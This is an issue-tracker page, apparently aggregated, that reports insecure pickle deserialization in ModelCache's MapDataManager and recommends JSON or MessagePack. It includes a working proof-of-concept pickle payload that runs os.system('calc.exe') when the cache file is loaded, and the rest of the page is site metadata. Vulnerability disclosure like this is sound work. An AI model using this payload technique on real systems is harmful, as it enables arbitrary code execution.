Insecure Deserialization Vulnerability in DataManager
还没有人认领这个 Issue。
评估
调研方向
首先定位 MapDataManager 和 pickle.load 调用,然后跟踪 get_data_manager 和 factory.py 如何创建和读取 data_map.txt。在选择安全的替代方案之前,检查缓存格式和现有测试。完成的标准是:无需执行任意代码即可加载缓存数据,并且相关的加载行为已由测试覆盖。
由索引模型根据 Issue 内容生成。
描述
Hi,
I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.
PoC
Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.
import pickle
import os
from modelcache.manager import get_data_manager
# Malicious class that executes arbitrary code when deserialized
class Exploit:
def __reduce__(self):
return (os.system, ('calc.exe',)) # calc.exe for windows
malicious_payload = pickle.dumps(Exploit())
with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
f.write(malicious_payload)
# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)
While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.
Recommendation
To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.
Thanks.
- 主要语言
- Python
- 星标
- 932
- 派生
- 68
- PR 合并指标
- 30 天内没有已合并 PR
环境准备
- 提供 Dockerfile 或 Docker Compose 文件
- 没有 Pull Request 模板
- 没有贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
codefuse-ai/ModelCache 的其他 Issue
-
提供OpenAI格式的查询接口未关闭
难度 5/5 一周以上 新手友好度 25/100
codefuse-ai/ModelCache#69 · 1 条评论 ·
查看 codefuse-ai/ModelCache 的全部 Issue
相似的 Issue
-
Validate non-divisible effective batch sizes in the Unsloth LoRA backend可能已有人在做 @debesh-biswas 今天认领。 未关闭
难度 2/5 1-3 小时 新手友好度 70/100
-
`rx.Model` event arguments emit `PydanticDeprecatedSince20` once per payload key可能已有人在做 关联的 PR 仍在进行中或已合并。 未关闭
难度 1/5 1 小时以内 新手友好度 88/100
reflex-dev/reflex#7634 · 1 条评论 ·
维护者通常 2 天内回复
-
documentation
难度 1/5 1-3 小时 新手友好度 82/100
topoteretes/cognee#6239 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 78/100
ranaroussi/yfinance#3009 ·
维护者通常 1 天内回复
-
Test discovery aborts on GPU builds without cuStateVec: check_cuStateVec expects a failed result but set_config() now raises RuntimeError可能已有人在做 @dmeliksetian 今天认领。 未关闭bug
难度 2/5 1-3 小时 新手友好度 84/100
Qiskit/qiskit-aer#2495 ·
维护者通常 1 天内回复